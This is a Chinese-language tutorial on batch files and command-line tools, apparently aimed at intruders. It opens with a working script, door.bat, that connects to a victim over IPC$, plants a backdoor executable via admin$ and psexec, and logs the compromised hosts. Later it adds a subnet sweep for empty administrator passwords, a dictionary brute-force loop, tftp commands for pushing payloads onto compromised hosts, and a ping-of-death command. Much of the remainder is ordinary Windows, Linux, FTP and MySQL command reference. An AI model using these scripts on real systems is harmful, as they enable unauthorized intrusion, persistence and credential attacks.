------------------- cut here then save as a batchfile(I call it door.bat) ------------------

-----------
@net use file://%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3

>>ko.txt
@psexec file://%1/ c:\winnt\system32\windrv32.exe
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------

------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一

目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功

能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見

,我們就不考慮它了。

sample1:fomat.bat

@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添

足了~

sample2:

當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令

寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令

了。
@echo off
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了.No.3

三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則

一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb

E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法

可以替換IF exist了.

3.││

Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的

命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:

sample:
@ trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3

>>victim.txt

四、管道命令的使用

1.│ 命令
Usage:第一條命令 │ 第二條命令 [│ 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer

看出來了么?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登

錄用戶的IP。

2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內

容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

sample1:
echo hello world>c:\hello.txt (stupid example?)

sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不

例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運

行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比

較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,

然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒

有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到

回收站里,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。

3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。

F. DOS批處理命令

DOS下的可執行文件有三種,分別是EXE,COM和BAT。其中,EXE和COM文件都是二進制形式的,只有BAT文件是文本形式的,可以直接閱讀。因 此,BAT文件和以上二進制可執行文件相比,內容要簡單的多。這些文件內包含著DOS命令的集合,通常叫作批處理文件。批處理文件的組成雖然比較簡單,但 其用處非常大,使用也比較廣泛。比如每次都執行一些相同的命令,您一定會覺得非常麻煩,而放在批處理文件中執行的話則輕松得多。AUTOEXEC.BAT 就是一個特殊的批處理文件,它在DOS的啟動時自動運行,在系統的配置中發揮著非常大的作用。因此,要學好DOS,就要學好批處理文件。下面介紹批處理文 件的命令及其使用。
DOS自帶的批處理命令:
@ :將這個符號放在批文件中其它命令的前面,運行時將不顯示命令本身。
如@ECHO OFF命令就在批文件首經常用到。
CALL :從一個批文件中調用另一個批文件,調用完後繼續執行原來的批文件。
用法:CALL [批文件名]
註:也可以使用COMMAND /C命令完成同樣的操作。
CHOICE :選擇命令。這是一個DOS外部命令,但它主要用在批文件中。
CHOICE命令執行後將提示可選擇的項目,這時通過一個按鍵來選則。
用法:CHOICE:[/C[:]按鍵表] [/N] [/S] [/T[:]選擇值,秒數] [顯示文本]
其中,/C表示可選則的按鍵,/N表示不要顯示提示信息,/S表示大小寫字元敏感方式,/T表示若在批定的時間內沒有選則的話,自動執行/C中定義的某個選擇值。顯示文本是CHOICE命令執行時的提示信息。選擇結果將用ERRORLEVEL值來表示。
ECHO :顯示指定的信息。通常顯示在屏幕上。
如ECHO Hello將在屏幕上顯示Hello的字樣。
另外,ECHO ON|OFF用來設置在批文件執行時是否顯示命令本身。而ECHO OFF與@的意思一樣,但它是一個單獨的命令,而不能像@那樣放在其它命令之前。
FOR :對於指定的文件運行相應的命令。
大家知道,DOS下許多命令支持通配符,如?和*,可以一次指定一批文件,非常方便。然而,並非所有的DOS命令都支持通配符,如TYPE(文件內容顯示命令)就不支持。有了FOR命令就沒有關系了,利於它可以使TYPE命令可以一次顯示多個文件。
用法:FOR %變數名 IN (文件集) DO 命令 [命令參數]
註:以上是FOR命令的固定形式,IN和DO的位置必須正確,否則將提示語法錯誤。
如FOR %F IN (*.*) DO TYPE %F命令就可以實現TYPE命令一次顯示多個文件。
註:%F是變數名,也可用%G等代替,但前後必須一致。在批文件中用%%F代替。
GOTO :轉到批文件內部的某個標號下執行。
大家知道,在編程中往往需要重復或跳轉到某個地方繼續執行,如BASIC語言中的GOTO命令。批文件中的GOTO命令也可以完成類似的功能。
用法:GOTO [標號名]
其中,標號名是可以隨意設置的,如Hello等。設置標號用「:」符號,如「:Hello」,這時用GOTO Hello命令將轉到「:Hello」所在的位置繼續執行批文件。
IF :條件判斷命令。這是一項很有用的批處理命令。
用法1:IF [NOT] EXIST 文件名 命令 [命令參數]
意義:如果[不]存在某個文件將執行某個命令。
用法2:IF [NOT] ERRORLEVEL 錯誤返回代號 命令 [命令參數]
意義:如果錯誤返回代號[不]大於或等於指定的代號將執行某個命令。
其中,ERRORLEVEL表示錯誤返回代號,很有用。對於很多DOS命令,由於執行的結果不同(如執行成功,執行失敗,或被用戶中斷等),這些命令會返 回不同的代號,以表示不同的結果。IF ERRORLEVEL命令就根據這個不同結果而產生的不同代號來執行不同的命令,通常用在某條命令之後。如IF ERRORLEVEL 1 ECHO OK!表示如果當前的錯誤返回代號大於或等於1時將在屏幕上顯示「OK!」的字樣。
用法3:IF [NOT] 字元串1==字元串2 命令 [命令參數]
意義:當字元串1和字元串2[不]相等的時候執行某個命令。
PAUSE :暫停批文件的執行,並顯示「按任意鍵繼續」的字樣。
REM :添加註解。用於增加文件可讀性,將不被執行。也可以用::來代替。
SHIFT :在批文件中改變可替換參數的位置。
可替換參數是一種特殊的參數,只能用在批文件中。這些參數是由使用者在執行批處理命令時輸入的。比如,我們執行DIR /S /W命令,其中DIR是命令名,/S和/W是它的執行參數。在批文件中,這些命令參數將被分別賦予到可替換參數中,如/S就成的%1,/W就可了%2,以 至類推,而命令本身則被賦予%0中。批文件就是利用可替換參數對執行時輸入的參數來進行操作的。比如現在有個批處理文件叫MYFILE.BAT,在命令行 下執行MYFILE.BAT YES,於是%0的值就是MYFILE.BAT,%1的值就是「YES」,可以在此批文件中用IF等命令判斷出%1等參數的值,然後根據這些值的不同執行 不同的操作,如IF "%1"=="YES" GOTO YES。
SHIFT命令不帶任何參數,執行結果是將%0的值換成原%1的值,而原%1的值變成的原%2的值,以此類推。注意它的不可逆轉性。因為批處理文件執行時 的運行參數可能很多,可能會超過10個,而可替換參數只能從%0到%9,若想取得%9以後的參數值,只能使用SHIFT命令。這時,整個參數列將向前推。
以上是DOS的自帶批處理命令,可以看出,這些命令是非常少的,若要編寫較復雜的程序,用以上的命令顯然不可能實現。這時就需要其它實用的批處理工具了, 著名且實用的有TESTIF,STRING,ASET,BATCHMAN,WBAT等,均可在「DOS軟體分類下載」中的「腳本工具」中下載。在批處理文 件中使用以上的工具可以實現非常強大的功能,甚至可以完成許多高級語言程序的功能。所以,如果您想編者按寫批處理文件的話,它們是您不錯的選擇,不僅有詳 細的文檔,而且還在不斷發展中。
下面就要談批處理文件的製作了。其實製作批處理文件並不難,只要掌握了方法就行了。隨著您操作次數的增多,您會覺得越來越容易的。
首先使用一個文本編輯器,如DOS自帶的EDIT命令或其它的編輯工具,如PEDIT等新建一個空白文件(當然,用COPY CON命令直接創建也行),然後在其中根據您想完成的功能輸入批處理命令。如果您只是想執行一些的DOS命令的集合,則按順序在每行輸入一個DOS命令就行了。但如果您是想完成一些更復雜的操作,就需要以上的批處理命令或上述的批處理工具了。
以下是我原來所編的一個從1%慢慢增加到100%的批處理小程序,大家可以用作參考,以編寫自己的程序。
@echo off
break off
cls
set c=0
writext 10 1 Wait...
be delay 4
:loop
writext 10 9 %c%%%�completed.
count c
if not %c%==101 goto loop
echo.
set c=
kpush /f
break on
其中,我用到了WRITEXT,COUNT,BE和KPUSH,這些都是批處理工具。WRITEXT是ECHO的增強工具,可以自定義顯示的效果。 COUNT是變數的計算工具,如原來C的值為1,執行COUNT C後C的值就為2。BE是個強大的批處理增強工具,在Norton Utilties 8.0中帶有。KPUSH是鍵盤緩沖工具。
總之,利用批處理命令和批處理增強工具,我們可以編出許多強大的批處理文件來。

G. 尋DOS命令大全

DOS命令大全:

CMD命令
net use ipipc$ " " /user:" " 建立IPC空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: ipc$ 登陸後映射對方C:到本地為H:
net use ipipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把"用戶"添加到管理員中使其具有管理員許可權,注意:
administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與"目標IP"主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:"-w數字"用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:"-l[空格]數據包大小";"-n發送數據次數";"-t"指一直
ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參
數"/all"顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-
H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如"DEL/AR *.*"表示刪除當前目錄下所有隻讀文件,"DEL/A-
S *.*"表示刪除當前目錄下除系統文件以外的所有文件
二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統
確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命

at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:
2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文
件)至本地C:
x 要復制的文件或目錄樹 目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將"IP"的
server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式
(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文
本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway
addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某
屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即"DATE/T"、"TIME/T"將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:":start"標簽)
call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡
綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
三:
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey
dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)--針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶
名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更
改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

四:

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將
會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本
地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by "密碼"; 增加新用戶。(注意:和上面不同,下
面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我
們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的mysql in目錄下執行);注釋:將資料庫
school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主
機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終
止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
六:
linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定
一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0-%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2-%9指輸入的
第2-9個值;例:net use ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ "(1 1
254)"第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;"(1 -1 254)"說明:即從254到
1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如
(d:pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /
user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存
在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來
隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的
IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:pass.dic來暴解d:user.dic中的用戶密碼,直到文件中值取完為止。%%i為
用戶名;%1為輸入的IP地址(默認)。
七:
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為"真"。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行
最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:"if "%2%"=="4" goto start"指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加"
")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:"if not nc.exe goto end"指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令
語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else
後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才
能執行,用上< >後就等於是單獨一行了;例如:"if exist test.txt. <del test.txt.> else echo
test.txt.missing ",注意命令中的"."

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
